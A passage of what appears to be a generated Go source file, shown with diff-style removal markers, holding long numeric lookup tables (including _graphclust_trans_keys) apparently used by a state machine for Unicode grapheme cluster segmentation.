7211, 7213, - 7215, 7217, 7249, 7253, 7255, 7259, 7263, 7266, - 7270, 7274, 7277, 7279, 7285, 7298, 7300, 7303, - 7305, 7307, 7311, 7315, 7317, 7319, 7321, 7323, - 7328, 7334, 7337, 7339, 7343, 7347, 7354, 7357, - 7363, 7365, 7369, 7371, 7373, 7376, 7380, 7381, - 7383, 7389, 7395, 7401, 7403, 7407, 7411, 7416, - 7421, 7431, 7433, 7435, 7437, 7477, 7477, 7480, - 7484, 7489, 7491, 7499, 7501, 7503, 7505, 7507, - 7509, 7511, 7513, 7517, 7521, 7525, 7529, 7531, - 7532, 7538, 7540, 7542, 7544, 7551, 7552, 7554, - 7561, 7563, 7565, 7575, 7579, 7583, 7587, 7591, - 7595, 7599, 7603, 7609, 7619, 7627, 7632, 7635, - 7639, 7641, 7644, 7653, 7657, 7659, 7661, 7665, - 7665, 7695, 7715, 7735, 7756, 7779, 7799, 7819, - 7840, 7863, 7884, 7905, 7926, 7946, 7969, 7989, - 8010, 8031, 8052, 8073, 8093, 8113, 8133, -} - -var _graphclust_trans_keys []byte = []byte{ - 10, 0, 127, 176, 255, 131, 137, 191, - 145, 189, 135, 129, 130, 132, 133, 144, - 154, 176, 139, 159, 150, 156, 159, 164, - 167, 168, 170, 173, 145, 176, 255, 139, - 255, 166, 176, 189, 171, 179, 160, 161, - 163, 164, 165, 167, 169, 171, 173, 174, - 175, 176, 177, 179, 180, 181, 182, 183, - 184, 185, 186, 187, 188, 189, 190, 191, - 166, 170, 172, 178, 150, 153, 155, 163, - 165, 167, 169, 173, 153, 155, 147, 161, - 163, 255, 189, 132, 185, 144, 152, 161, - 164, 255, 188, 129, 131, 190, 255, 133, - 134, 137, 138, 142, 150, 152, 161, 164, - 189, 191, 255, 131, 134, 137, 138, 142, - 144, 146, 175, 178, 180, 182, 255, 134, - 138, 142, 161, 164, 185, 192, 255, 188, - 129, 131, 190, 191, 128, 132, 135, 136, - 139, 141, 150, 151, 162, 163, 130, 190, - 191, 151, 128, 130, 134, 136, 138, 141, - 128, 132, 190, 255, 133, 137, 142, 148, - 151, 161, 164, 255, 128, 132, 134, 136, - 138, 141, 149, 150, 162, 163, 128, 131, - 187, 188, 190, 255, 133, 137, 142, 150, - 152, 161, 164, 255, 130, 131, 138, 150, - 143, 148, 152, 159, 178, 179, 177, 179, - 186, 135, 142, 177, 179, 188, 136, 141, - 181, 183, 185, 152, 153, 190, 191, 177, - 191, 128, 132, 134, 135, 141, 151, 153, - 188, 134, 128, 129, 130, 141, 156, 157, - 158, 159, 160, 162, 164, 168, 169, 170, - 172, 173, 174, 175, 176, 179, 183, 173, - 183, 185, 190, 150, 153, 158, 160, 177, - 180, 130, 141, 157, 132, 134, 157, 159, - 146, 148, 178, 180, 146, 147, 178, 179, - 180, 255, 148, 156, 158, 255, 139, 141, - 169, 133, 134, 160, 171, 176, 187, 151, - 155, 160, 162, 191, 149, 158, 165, 188, - 176, 190, 128, 132, 180, 255, 133, 170, - 180, 255, 128, 130, 161, 173, 166, 179, - 164, 183, 173, 180, 144, 146, 148, 168, - 183, 185, 128, 185, 187, 191, 128, 131, - 179, 181, 183, 140, 141, 144, 176, 175, - 177, 191, 160, 191, 128, 130, 170, 175, - 153, 154, 153, 154, 155, 160, 162, 163, - 164, 165, 166, 167, 168, 169, 170, 171, - 175, 175, 178, 180, 189, 158, 159, 176, - 177, 130, 134, 139, 163, 167, 128, 129, - 180, 255, 134, 159, 178, 190, 192, 255, - 166, 173, 135, 147, 128, 131, 179, 255, - 129, 164, 166, 255, 169, 182, 131, 188, - 140, 141, 176, 178, 180, 183, 184, 190, - 191, 129, 171, 175, 181, 182, 163, 170, - 172, 173, 172, 184, 190, 158, 128, 143, - 160, 175, 144, 145, 150, 155, 157, 158, - 159, 135, 139, 141, 168, 171, 180, 189, - 189, 160, 182, 186, 191, 129, 131, 133, - 134, 140, 143, 184, 186, 165, 166, 164, - 167, 134, 144, 128, 129, 130, 132, 133, - 134, 135, 136, 139, 140, 141, 144, 145, - 146, 147, 150, 151, 152, 153, 154, 156, - 160, 167, 168, 169, 170, 176, 178, 180, - 181, 182, 187, 128, 130, 184, 255, 135, - 190, 131, 175, 187, 255, 128, 130, 167, - 180, 179, 133, 134, 128, 130, 179, 255, - 129, 136, 141, 255, 190, 172, 183, 159, - 170, 128, 131, 187, 188, 190, 191, 151, - 128, 132, 135, 136, 139, 141, 162, 163, - 166, 172, 176, 180, 181, 191, 158, 128, - 134, 176, 255, 132, 255, 175, 181, 184, - 255, 129, 155, 158, 255, 129, 255, 171, - 183, 157, 171, 172, 186, 164, 145, 151, - 154, 160, 129, 138, 179, 185, 187, 190, - 135, 145, 155, 138, 153, 175, 182, 184, - 191, 146, 167, 169, 182, 186, 177, 182, - 188, 189, 191, 255, 134, 136, 255, 138, - 142, 144, 145, 147, 151, 179, 182, 171, - 172, 189, 190, 176, 180, 176, 182, 143, - 145, 255, 136, 142, 147, 255, 178, 157, - 158, 133, 134, 137, 168, 169, 170, 165, - 169, 173, 178, 187, 255, 131, 132, 140, - 169, 174, 255, 130, 132, 128, 182, 187, - 255, 173, 180, 182, 255, 132, 155, 159, - 161, 175, 128, 132, 139, 163, 165, 128, - 134, 136, 152, 155, 161, 163, 164, 166, - 170, 172, 175, 144, 150, 132, 138, 143, - 187, 191, 160, 128, 129, 132, 135, 133, - 134, 160, 255, 192, 255, 128, 191, 169, - 173, 174, 128, 159, 160, 191, 128, 255, - 176, 255, 131, 137, 191, 145, 189, 135, - 129, 130, 132, 133, 144, 154, 176, 139, - 159, 150, 156, 159, 164, 167, 168, 170, - 173, 145, 176, 255, 139, 255, 166, 176, - 189, 171, 179, 160, 161, 163, 164, 165, - 167, 169, 171, 173, 174, 175, 176, 177, - 179, 180, 181, 182, 183, 184, 185, 186, - 187, 188, 189, 190, 191, 166, 170, 172, - 178, 150, 153, 155, 163, 165, 167, 169, - 173, 153, 155, 147, 161, 163, 255, 189, - 132, 185, 144, 152, 161, 164, 255, 188, - 129, 131, 190, 255, 133, 134, 137, 138, - 142, 150, 152, 161, 164, 189, 191, 255, - 131, 134, 137, 138, 142, 144, 146, 175, - 178, 180, 182, 255, 134, 138, 142, 161, - 164, 185, 192, 255, 188, 129, 131, 190, - 191, 128, 132, 135, 136, 139, 141, 150, - 151, 162, 163, 130, 190, 191, 151, 128, - 130, 134, 136, 138, 141, 128, 132, 190, - 255, 133, 137, 142, 148, 151, 161, 164, - 255, 128, 132, 134, 136, 138, 141, 149, - 150, 162, 163, 128, 131, 187, 188, 190, - 255, 133, 137, 142, 150, 152, 161, 164, - 255, 130, 131, 138, 150, 143, 148, 152, - 159, 178, 179, 177, 179, 186, 135, 142, - 177, 179, 188, 136, 141, 181, 183, 185, - 152, 153, 190, 191, 177, 191, 128, 132, - 134, 135, 141, 151, 153, 188, 134, 128, - 129, 130, 141, 156, 157, 158, 159, 160, - 162, 164, 168, 169, 170, 172, 173, 174, - 175, 176, 179, 183, 173, 183, 185, 190, - 150, 153, 158, 160, 177, 180, 130, 141, - 157, 132, 134, 157, 159, 146, 148, 178, - 180, 146, 147, 178, 179, 180, 255, 148, - 156, 158, 255, 139, 141, 169, 133, 134, - 160, 171, 176, 187, 151, 155, 160, 162, - 191, 149, 158, 165, 188, 176, 190, 128, - 132, 180, 255, 133, 170, 180, 255, 128, - 130, 161, 173, 166, 179, 164, 183, 173, - 180, 144, 146, 148, 168, 183, 185, 128, - 185, 187, 191, 128, 131, 179, 181, 183, - 140, 141, 169, 174, 128, 129, 131, 132, - 134, 140, 142, 143, 147, 150, 151, 152, - 153, 154, 155, 156, 157, 158, 164, 172, - 173, 179, 181, 183, 140, 141, 188, 137, - 144, 176, 162, 185, 148, 153, 169, 170, - 168, 154, 155, 136, 143, 169, 179, 184, - 186, 130, 182, 170, 171, 128, 187, 190, - 128, 133, 135, 146, 148, 255, 192, 255, - 128, 133, 144, 191, 128, 191, 148, 150, - 157, 161, 168, 128, 133, 136, 146, 179, - 180, 132, 135, 140, 142, 151, 147, 149, - 163, 167, 161, 176, 191, 149, 151, 180, - 181, 133, 135, 155, 156, 144, 149, 175, - 177, 191, 160, 191, 128, 130, 138, 189, - 170, 176, 153, 154, 151, 153, 153, 154, - 155, 160, 162, 163, 164, 165, 166, 167, - 168, 169, 170, 171, 175, 175, 178, 180, - 189, 158, 159, 176, 177, 130, 134, 139, - 163, 167, 128, 129, 180, 255, 134, 159, - 178, 190, 192, 255, 166, 173, 135, 147, - 128, 131, 179, 255, 129, 164, 166, 255, - 169, 182, 131, 188, 140, 141, 176, 178, - 180, 183, 184, 190, 191, 129, 171, 175, - 181, 182, 163, 170, 172, 173, 172, 184, - 190, 158, 128, 143, 160, 175, 144, 145, - 150, 155, 157, 158, 159, 135, 139, 141, - 168, 171, 180, 189, 189, 160, 182, 186, - 191, 129, 131, 133, 134, 140, 143, 184, - 186, 165, 166, 164, 167, 134, 144, 128, - 129, 130, 132, 133, 134, 135, 136, 139, - 140, 141, 144, 145, 146, 147, 150, 151, - 152, 153, 154, 156, 160, 167, 168, 169, - 170, 176, 178, 180, 181, 182, 187, 128, - 130, 184, 255, 135, 190, 131, 175, 187, - 255, 128, 130, 167, 180, 179, 133, 134, - 128, 130, 179, 255, 129, 136, 141, 255, - 190, 172, 183, 159, 170, 128, 131, 187, - 188, 190, 191, 151, 128, 132, 135, 136, - 139, 141, 162, 163, 166, 172, 176, 180, - 181, 191, 158, 128, 134, 176, 255, 132, - 255, 175, 181, 184, 255, 129, 155, 158, - 255, 129, 255, 171, 183, 157, 171, 172, - 186, 164, 145, 151, 154, 160, 129, 138, - 179, 185, 187, 190, 135, 145, 155, 138, - 153, 175, 182, 184, 191, 146, 167, 169, - 182, 186, 177, 182, 188, 189, 191, 255, - 134, 136, 255, 138, 142, 144, 145, 147, - 151, 179, 182, 171, 172, 189, 190, 176, - 180, 176, 182, 143, 145, 255, 136, 142, - 147, 255, 178, 157, 158, 133, 134, 137, - 168, 169, 170, 165, 169, 173, 178, 187, - 255, 131, 132, 140, 169, 174, 255, 130, - 132, 128, 182, 187, 255, 173, 180, 182, - 255, 132, 155, 159, 161, 175, 128, 132, - 139, 163, 165, 128, 134, 136, 152, 155, - 161, 163, 164, 166, 170, 172, 175, 144, - 150, 132, 138, 129, 130, 131, 132, 133, - 134, 135, 136, 137, 138, 139, 141, 143, - 144, 146, 147, 148, 149, 150, 151, 153, - 155, 157, 159, 160, 161, 162, 163, 164, - 165, 169, 191, 128, 154, 166, 167, 168, - 170, 171, 190, 175, 141, 143, 172, 177, - 190, 191, 142, 145, 154, 173, 255, 166, - 255, 154, 175, 129, 143, 178, 186, 188, - 191, 137, 255, 128, 189, 134, 255, 144, - 255, 180, 191, 149, 191, 140, 143, 136, - 143, 154, 159, 136, 143, 174, 255, 140, - 186, 188, 191, 128, 133, 135, 191, 190, - 255, 160, 128, 129, 132, 135, 133, 134, - 160, 255, 128, 130, 170, 175, 144, 145, - 150, 155, 157, 158, 159, 143, 187, 191, - 156, 128, 133, 134, 191, 128, 255, 176, - 255, 131, 137, 191, 145, 189, 135, 129, - 130, 132, 133, 144, 154, 176, 139, 159, - 150, 156, 159, 164, 167, 168, 170, 173, - 145, 176, 255, 139, 255, 166, 176, 189, - 171, 179, 160, 161, 163, 164, 165, 167, - 169, 171, 173, 174, 175, 176, 177, 179, - 180, 181, 182, 183, 184, 185, 186, 187, - 188, 189, 190, 191, 166, 170, 172, 178, - 150, 153, 155, 163, 165, 167, 169, 173, - 153, 155, 147, 161, 163, 255, 189, 132, - 185, 144, 152, 161, 164, 255, 188, 129, - 131, 190, 255, 133, 134, 137, 138, 142, - 150, 152, 161, 164, 189, 191, 255, 131, - 134, 137, 138, 142, 144, 146, 175, 178, - 180, 182, 255, 134, 138, 142, 161, 164, - 185, 192, 255, 188, 129, 131, 190, 191, - 128, 132, 135, 136, 139, 141, 150, 151, - 162, 163, 130, 190, 191, 151, 128, 130, - 134, 136, 138, 141, 128, 132, 190, 255, - 133, 137, 142, 148, 151, 161, 164, 255, - 128, 132, 134, 136, 138, 141, 149, 150, - 162, 163, 128, 131, 187, 188, 190, 255, - 133, 137, 142, 150, 152, 161, 164, 255, - 130, 131, 138, 150, 143, 148, 152, 159, - 178, 179, 177, 179, 186, 135, 142, 177, - 179, 188, 136, 141, 181, 183, 185, 152, - 153, 190, 191, 177, 191, 128, 132, 134, - 135, 141, 151, 153, 188, 134, 128, 129, - 130, 141, 156, 157, 158, 159, 160, 162, - 164, 168, 169, 170, 172, 173, 174, 175, - 176, 179, 183, 173, 183, 185, 190, 150, - 153, 158, 160, 177, 180, 130, 141, 157, - 132, 134, 157, 159, 146, 148, 178, 180, - 146, 147, 178, 179, 180, 255, 148, 156, - 158, 255, 139, 141, 169, 133, 134, 160, - 171, 176, 187, 151, 155, 160, 162, 191, - 149, 158, 165, 188, 176, 190, 128, 132, - 180, 255, 133, 170, 180, 255, 128, 130, - 161, 173, 166, 179, 164, 183, 173, 180, - 144, 146, 148, 168, 183, 185, 128, 185, - 187, 191, 128, 131, 179, 181, 183, 140, - 141, 144, 176, 175, 177, 191, 160, 191, - 128, 130, 170, 175, 153, 154, 153, 154, - 155, 160, 162, 163, 164, 165, 166, 167, - 168, 169, 170, 171, 175, 175, 178, 180, - 189, 158, 159, 176, 177, 130, 134, 139, - 163, 167, 128, 129, 180, 255, 134, 159, - 178, 190, 192, 255, 166, 173, 135, 147, - 128, 131, 179, 255, 129, 164, 166, 255, - 169, 182, 131, 188, 140, 141, 176, 178, - 180, 183, 184, 190, 191, 129, 171, 175, - 181, 182, 163, 170, 172, 173, 172, 184, - 190, 158, 128, 143, 160, 175, 144, 145, - 150, 155, 157, 158, 159, 135, 139, 141, - 168, 171, 180, 189, 189, 160, 182, 186, - 191, 129, 131, 133, 134, 140, 143, 184, - 186, 165, 166, 164, 167, 134, 144, 128, - 129, 130, 132, 133, 134, 135, 136, 139, - 140, 141, 144, 145, 146, 147, 150, 151, - 152, 153, 154, 156, 160, 167, 168, 169, - 170, 176, 178, 180, 181, 182, 187, 128, - 130, 184, 255, 135, 190, 131, 175, 187, - 255, 128, 130, 167, 180, 179, 133, 134, - 128, 130, 179, 255, 129, 136, 141, 255, - 190, 172, 183, 159, 170, 128, 131, 187, - 188, 190, 191, 151, 128, 132, 135, 136, - 139, 141, 162, 163, 166, 172, 176, 180, - 181, 191, 158, 128, 134, 176, 255, 132, - 255, 175, 181, 184, 255, 129, 155, 158, - 255, 129, 255, 171, 183, 157, 171, 172, - 186, 164, 145, 151, 154, 160, 129, 138, - 179, 185, 187, 190, 135, 145, 155, 138, - 153, 175, 182, 184, 191, 146, 167, 169, - 182, 186, 177, 182, 188, 189, 191, 255, - 134, 136, 255, 138, 142, 144, 145, 147, - 151, 179, 182, 171, 172, 189, 190, 176, - 180, 176, 182, 143, 145, 255, 136, 142, - 147, 255, 178, 157, 158, 133, 134, 137, - 168, 169, 170, 165, 169, 173, 178, 187, - 255, 131, 132, 140, 169, 174, 255, 130, - 132, 128, 182, 187, 255, 173, 180, 182, - 255, 132, 155, 159, 161, 175, 128, 132, - 139, 163, 165, 128, 134, 136, 152, 155, - 161, 163, 164, 166, 170, 172, 175, 144, - 150, 132, 138, 143, 187, 191, 160, 128, - 129, 132, 135, 133, 134, 160, 255, 192, - 255, 128, 191, 169, 174, 160, 172, 175, - 191, 128, 255, 176, 255, 131, 137, 191, - 145, 189, 135, 129, 130, 132, 133, 144, - 154, 176, 139, 159, 150, 156, 159, 164, - 167, 168, 170, 173, 145, 176, 255, 139, - 255, 166, 176, 189, 171, 179, 160, 161, - 163, 164, 165, 167, 169, 171, 173, 174, - 175, 176, 177, 179, 180, 181, 182, 183, - 184, 185, 186, 187, 188, 189, 190, 191, - 166, 170, 172, 178, 150, 153, 155, 163, - 165, 167, 169, 173, 153, 155, 147, 161, - 163, 255, 189, 132, 185, 144, 152, 161, - 164, 255, 188, 129, 131, 190, 255, 133, - 134, 137, 138, 142, 150, 152, 161, 164, - 189, 191, 255, 131, 134, 137, 138, 142, - 144, 146, 175, 178, 180, 182, 255, 134, - 138, 142, 161, 164, 185, 192, 255, 188, - 129, 131, 190, 191, 128, 132, 135, 136, - 139, 141, 150, 151, 162, 163, 130, 190, - 191, 151, 128, 130, 134, 136, 138, 141, - 128, 132, 190, 255, 133, 137, 142, 148, - 151, 161, 164, 255, 128, 132, 134, 136, - 138, 141, 149, 150, 162, 163, 128, 131, - 187, 188, 190, 255, 133, 137, 142, 150, - 152, 161, 164, 255, 130, 131, 138, 150, - 143, 148, 152, 159, 178, 179, 177, 179, - 186, 135, 142, 177, 179, 188, 136, 141, - 181, 183, 185, 152, 153, 190, 191, 177, - 191, 128, 132, 134, 135, 141, 151, 153, - 188, 134, 128, 129, 130, 141, 156, 157, - 158, 159, 160, 162, 164, 168, 169, 170, - 172, 173, 174, 175, 176, 179, 183, 173, - 183, 185, 190, 150, 153, 158, 160, 177, - 180, 130, 141, 157, 132, 134, 157, 159, - 146, 148, 178, 180, 146, 147, 178, 179, - 180, 255, 148, 156, 158, 255, 139, 141, - 169, 133, 134, 160, 171, 176, 187, 151, - 155, 160, 162, 191, 149, 158, 165, 188, - 176, 190, 128, 132, 180, 255, 133, 170, - 180, 255, 128, 130, 161, 173, 166, 179, - 164, 183, 173, 180, 144, 146, 148, 168, - 183, 185, 128, 185, 187, 191, 128, 131, - 179, 181, 183, 140, 141, 169, 174, 128, - 129, 131, 132, 134, 140, 142, 143, 147, - 150, 151, 152, 153, 154, 155, 156, 157, - 158, 164, 172, 173, 179, 181, 183, 140, - 141, 188, 137, 144, 176, 162, 185, 148, - 153, 169, 170, 168, 154, 155, 136, 143, - 169, 179, 184, 186, 130, 182, 170, 171, - 128, 187, 190, 128, 133, 135, 146, 148, - 255, 192, 255, 128, 133, 144, 191, 128, - 191, 148, 150, 157, 161, 168, 128, 133, - 136, 146, 179, 180, 132, 135, 140, 142, - 151, 147, 149, 163, 167, 161, 176, 191, - 149, 151, 180, 181, 133, 135, 155, 156, - 144, 149, 175, 177, 191, 160, 191, 128, - 130, 138, 189, 170, 176, 153, 154, 151, - 153, 153, 154, 155, 160, 162, 163, 164, - 165, 166, 167, 168, 169, 170, 171, 175, - 175, 178, 180, 189, 158, 159, 176, 177, - 130, 134, 139, 163, 167, 128, 129, 180, - 255, 134, 159, 178, 190, 192, 255, 166, - 173, 135, 147, 128, 131, 179, 255, 129, - 164, 166, 255, 169, 182, 131, 188, 140, - 141, 176, 178, 180, 183, 184, 190, 191, - 129, 171, 175, 181, 182, 163, 170, 172, - 173, 172, 184, 190, 158, 128, 143, 160, - 175, 144, 145, 150, 155, 157, 158, 159, - 135, 139, 141, 168, 171, 180, 189, 189, - 160, 182, 186, 191, 129, 131, 133, 134, - 140, 143, 184, 186, 165, 166, 164, 167, - 134, 144, 128, 129, 130, 132, 133, 134, - 135, 136, 139, 140, 141, 144, 145, 146, - 147, 150, 151, 152, 153, 154, 156, 160, - 167, 168, 169, 170, 176, 178, 180, 181, - 182, 187, 128, 130, 184, 255, 135, 190, - 131, 175, 187, 255, 128, 130, 167, 180, - 179, 133, 134, 128, 130, 179, 255, 129, - 136, 141, 255, 190, 172, 183, 159, 170, - 128, 131, 187, 188, 190, 191, 151, 128, - 132, 135, 136, 139, 141, 162, 163, 166, - 172, 176, 180, 181, 191, 158, 128, 134, - 176, 255, 132, 255, 175, 181, 184, 255, - 129, 155, 158, 255, 129, 255, 171, 183, - 157, 171, 172, 186, 164, 145, 151, 154, - 160, 129, 138, 179, 185, 187, 190, 135, - 145, 155, 138, 153, 175, 182, 184, 191, - 146, 167, 169, 182, 186, 177, 182, 188, - 189, 191, 255, 134, 136, 255, 138, 142, - 144, 145, 147, 151, 179, 182, 171, 172, - 189, 190, 176, 180, 176, 182, 143, 145, - 255, 136, 142, 147, 255, 178, 157, 158, - 133, 134, 137, 168, 169, 170, 165, 169, - 173, 178, 187, 255, 131, 132, 140, 169, - 174, 255, 130, 132, 128, 182, 187, 255, - 173, 180, 182, 255, 132, 155, 159, 161, - 175, 128, 132, 139, 163, 165, 128, 134, - 136, 152, 155, 161, 163, 164, 166, 170, - 172, 175, 144, 150, 132, 138, 129, 130, - 131, 132, 133, 134, 135, 136, 137, 138, - 139, 141, 143, 144, 146, 147, 148, 149, - 150, 151, 153, 155, 157, 159, 160, 161, - 162, 163, 164, 165, 169, 191, 128, 154, - 166, 167, 168, 170, 171, 190, 175, 141, - 143, 172, 177, 190, 191, 142, 145, 154, - 173, 255, 166, 255, 154, 175, 129, 143, - 178, 186, 188, 191, 137, 255, 128, 189, - 134, 255, 144, 255, 180, 191, 149, 191, - 140, 143, 136, 143, 154, 159, 136, 143, - 174, 255, 140, 186, 188, 191, 128, 133, - 135, 191, 190, 255, 160, 128, 129, 132, - 135, 133, 134, 160, 255, 128, 130, 170, - 175, 144, 145, 150, 155, 157, 158, 159, - 143, 187, 191, 128, 133, 134, 155, 157, - 191, 157, 128, 191, 143, 128, 191, 163, - 181, 128, 191, 162, 128, 191, 142, 128, - 191, 132, 133, 134, 135, 160, 128, 191, - 128, 255, 128, 129, 130, 132, 133, 134, - 141, 156, 157, 158, 159, 160, 162, 164, - 168, 169, 170, 172, 173, 174, 175, 176, - 179, 183, 160, 255, 128, 129, 130, 133, - 134, 135, 141, 156, 157, 158, 159, 160, - 162, 164, 168, 169, 170, 172, 173, 174, - 175, 176, 179, 183, 160, 255, 168, 255, - 128, 129, 130, 134, 135, 141, 156, 157, - 158, 159, 160, 162, 164, 168, 169, 170, - 172, 173, 174, 175, 176, 179, 183, 168, - 255, 192, 255, 159, 139, 187, 158, 159, - 176, 255, 135, 138, 139, 187, 188, 255, - 168, 255, 153, 154, 155, 160, 162, 163, - 164, 165, 166, 167, 168, 169, 170, 171, - 175, 177, 178, 179, 180, 181, 182, 184, - 185, 186, 187, 188, 189, 191, 176, 190, - 192, 255, 135, 147, 160, 188, 128, 156, - 184, 129, 255, 128, 129, 130, 133, 134, - 141, 156, 157, 158, 159, 160, 162, 164, - 168, 169, 170, 172, 173, 174, 175, 176, - 179, 183, 158, 159, 135, 255, 148, 176, - 140, 168, 132, 160, 188, 152, 180, 144, - 172, 136, 164, 192, 255, 129, 130, 131, - 132, 133, 134, 136, 137, 138, 139, 140, - 141, 143, 144, 145, 146, 147, 148, 150, - 151, 152, 153, 154, 155, 157, 158, 159, - 160, 161, 162, 164, 165, 166, 167, 168, - 169, 171, 172, 173, 174, 175, 176, 178, - 179, 180, 181, 182, 183, 185, 186, 187, - 188, 189, 190, 128, 191, 129, 130, 131, - 132, 133, 134, 136, 137, 138, 139, 140, - 141, 143, 144, 145, 146, 147, 148, 150, - 151, 152, 153, 154, 155, 157, 158, 159, - 160, 161, 162, 164, 165, 166, 167, 168, - 169, 171, 172, 173, 174, 175, 176, 178, - 179, 180, 181, 182, 183, 185, 186, 187, - 188, 189, 190, 128, 191, 129, 130, 131, - 132, 133, 134, 136, 137, 138, 139, 140, - 141, 143, 144, 145, 146, 147, 148, 150, - 151, 152, 153, 154, 155, 157, 158, 159, - 128, 156, 160, 255, 136, 164, 175, 176, - 255, 128, 141, 143, 191, 128, 129, 132, - 134, 140, 142, 143, 147, 150, 151, 152, - 153, 154, 155, 156, 157, 158, 164, 172, - 173, 130, 191, 188, 128, 138, 140, 141, - 144, 167, 175, 191, 137, 128, 159, 176, - 191, 162, 185, 128, 191, 128, 147, 148, - 153, 154, 168, 169, 170, 171, 191, 168, - 128, 153, 154, 155, 156, 191, 136, 128, - 191, 143, 128, 168, 169, 179, 180, 183, - 184, 186, 187, 191, 130, 128, 191, 182, - 128, 169, 170, 171, 172, 191, 128, 191, - 129, 186, 187, 190, 134, 147, 128, 255, - 128, 133, 134, 143, 144, 191, 147, 149, - 157, 161, 168, 128, 133, 134, 135, 136, - 150, 151, 178, 179, 180, 181, 191, 132, - 135, 140, 142, 150, 128, 146, 147, 151, - 152, 162, 163, 167, 168, 191, 161, 176, - 191, 128, 148, 149, 151, 152, 190, 128, - 179, 180, 181, 182, 191, 128, 132, 133, - 135, 136, 154, 155, 156, 157, 191, 144, - 149, 128, 191, 128, 138, 129, 191, 176, - 189, 128, 191, 151, 153, 128, 191, 128, - 191, 165, 177, 178, 179, 180, 181, 182, - 184, 185, 186, 187, 188, 189, 191, 128, - 175, 176, 190, 192, 255, 128, 159, 160, - 188, 189, 191, 128, 156, 184, 129, 255, - 148, 176, 140, 168, 132, 160, 188, 152, - 180, 144, 172, 136, 164, 192, 255, 129, - 130, 131, 132, 133, 134, 136, 137, 138, - 139, 140, 141, 143, 144, 145, 146, 147, - 148, 150, 151, 152, 153, 154, 155, 157, - 158, 159, 160, 161, 162, 164, 165, 166, - 167, 168, 169, 171, 172, 173, 174, 175, - 176, 178, 179, 180, 181, 182, 183, 185, - 186, 187, 188, 189, 190, 128, 191, 129, - 130, 131, 132, 133, 134, 136, 137, 138, - 139, 140, 141, 143, 144, 145, 146, 147, - 148, 150, 151, 152, 153, 154, 155, 157, - 158, 159, 160, 161, 162, 164, 165, 166, - 167, 168, 169, 171, 172, 173, 174, 175, - 176, 178, 179, 180, 181, 182, 183, 185, - 186, 187, 188, 189, 190, 128, 191, 129, - 130, 131, 132, 133, 134, 136, 137, 138, - 139, 140, 141, 143, 144, 145, 146, 147, - 148, 150, 151, 152, 153, 154, 155, 157, - 158, 159, 128, 156, 160, 191, 192, 255, - 136, 164, 175, 176, 255, 135, 138, 139, - 187, 188, 191, 192, 255, 187, 191, 128, - 190, 128, 190, 188, 128, 175, 190, 191, - 145, 147, 155, 157, 159, 128, 191, 130, - 131, 135, 168, 170, 181, 128, 191, 189, - 128, 191, 141, 128, 191, 128, 129, 130, - 131, 132, 191, 186, 128, 191, 128, 131, - 132, 137, 138, 191, 134, 128, 191, 144, - 128, 191, 128, 175, 185, 191, 178, 128, - 191, 128, 159, 164, 191, 133, 128, 191, - 128, 178, 187, 191, 129, 130, 131, 132, - 133, 134, 135, 136, 137, 138, 139, 141, - 143, 144, 146, 147, 148, 149, 150, 151, - 153, 156, 157, 158, 159, 160, 161, 162, - 164, 165, 169, 191, 128, 154, 155, 163, - 166, 167, 168, 170, 171, 190, 175, 128, - 140, 141, 143, 144, 191, 128, 171, 172, - 177, 178, 189, 190, 191, 142, 128, 144, - 145, 154, 155, 172, 173, 255, 166, 191, - 192, 255, 144, 145, 150, 155, 157, 158, - 159, 135, 143, 166, 191, 128, 154, 175, - 187, 129, 143, 144, 177, 178, 191, 128, - 136, 137, 255, 187, 191, 192, 255, 128, - 189, 190, 191, 128, 133, 134, 255, 144, - 191, 192, 255, 128, 179, 180, 191, 128, - 148, 149, 191, 128, 139, 140, 143, 144, - 191, 128, 135, 136, 143, 144, 153, 154, - 159, 160, 191, 128, 135, 136, 143, 144, - 173, 174, 255, 187, 128, 139, 140, 191, - 134, 128, 191, 190, 191, 192, 255, 128, - 191, 160, 128, 191, 128, 129, 135, 132, - 134, 128, 175, 157, 128, 191, 143, 128, - 191, 163, 181, 128, 191, 162, 128, 191, - 142, 128, 191, 132, 133, 134, 135, 160, - 128, 191, 128, 255, 0, 127, 176, 255, - 131, 137, 191, 145, 189, 135, 129, 130, - 132, 133, 144, 154, 176, 139, 159, 150, - 156, 159, 164, 167, 168, 170, 173, 145, - 176, 255, 139, 255, 166, 176, 189, 171, - 179, 160, 161, 163, 164, 165, 167, 169, - 171, 173, 174, 175, 176, 177, 179, 180, - 181, 182, 183, 184, 185, 186, 187, 188, - 189, 190, 191, 166, 170, 172, 178, 150, - 153, 155, 163, 165, 167, 169, 173, 153, - 155, 147, 161, 163, 255, 189, 132, 185, - 144, 152, 161, 164, 255, 188, 129, 131, - 190, 255, 133, 134, 137, 138, 142, 150, - 152, 161, 164, 189, 191, 255, 131, 134, - 137, 138, 142, 144, 146, 175, 178, 180, - 182, 255, 134, 138, 142, 161, 164, 185, - 192, 255, 188, 129, 131, 190, 191, 128, - 132, 135, 136, 139, 141, 150, 151, 162, - 163, 130, 190, 191, 151, 128, 130, 134, - 136, 138, 141, 128, 132, 190, 255, 133, - 137, 142, 148, 151, 161, 164, 255, 128, - 132, 134, 136, 138, 141, 149, 150, 162, - 163, 128, 131, 187, 188, 190, 255, 133, - 137, 142, 150, 152, 161, 164, 255, 130, - 131, 138, 150, 143, 148, 152, 159, 178, - 179, 177, 179, 186, 135, 142, 177, 179, - 188, 136, 141, 181, 183, 185, 152, 153, - 190, 191, 177, 191, 128, 132, 134, 135, - 141, 151, 153, 188, 134, 128, 129, 130, - 141, 156, 157, 158, 159, 160, 162, 164, - 168, 169, 170, 172, 173, 174, 175, 176, - 179, 183, 173, 183, 185, 190, 150, 153, - 158, 160, 177, 180, 130, 141, 157, 132, - 134, 157, 159, 146, 148, 178, 180, 146, - 147, 178, 179, 180, 255, 148, 156, 158, - 255, 139, 141, 169, 133, 134, 160, 171, - 176, 187, 151, 155, 160, 162, 191, 149, - 158, 165, 188, 176, 190, 128, 132, 180, - 255, 133, 170, 180, 255, 128, 130, 161, - 173, 166, 179, 164, 183, 173, 180, 144, - 146, 148, 168, 183, 185, 128, 185, 187, - 191, 128, 131, 179, 181, 183, 140, 141, - 169, 174, 128, 129, 131, 132, 134, 140, - 142, 143, 147, 150, 151, 152, 153, 154, - 155, 156, 157, 158, 164, 172, 173, 179, - 181, 183, 140, 141, 188, 137, 144, 176, - 162, 185, 148, 153, 169, 170, 168, 154, - 155, 136, 143, 169, 179, 184, 186, 130, - 182, 170, 171, 128, 187, 190, 128, 133, - 135, 146, 148, 255, 192, 255, 128, 133, - 144, 191, 128, 191, 148, 150, 157, 161, - 168, 128, 133, 136, 146, 179, 180, 132, - 135, 140, 142, 151, 147, 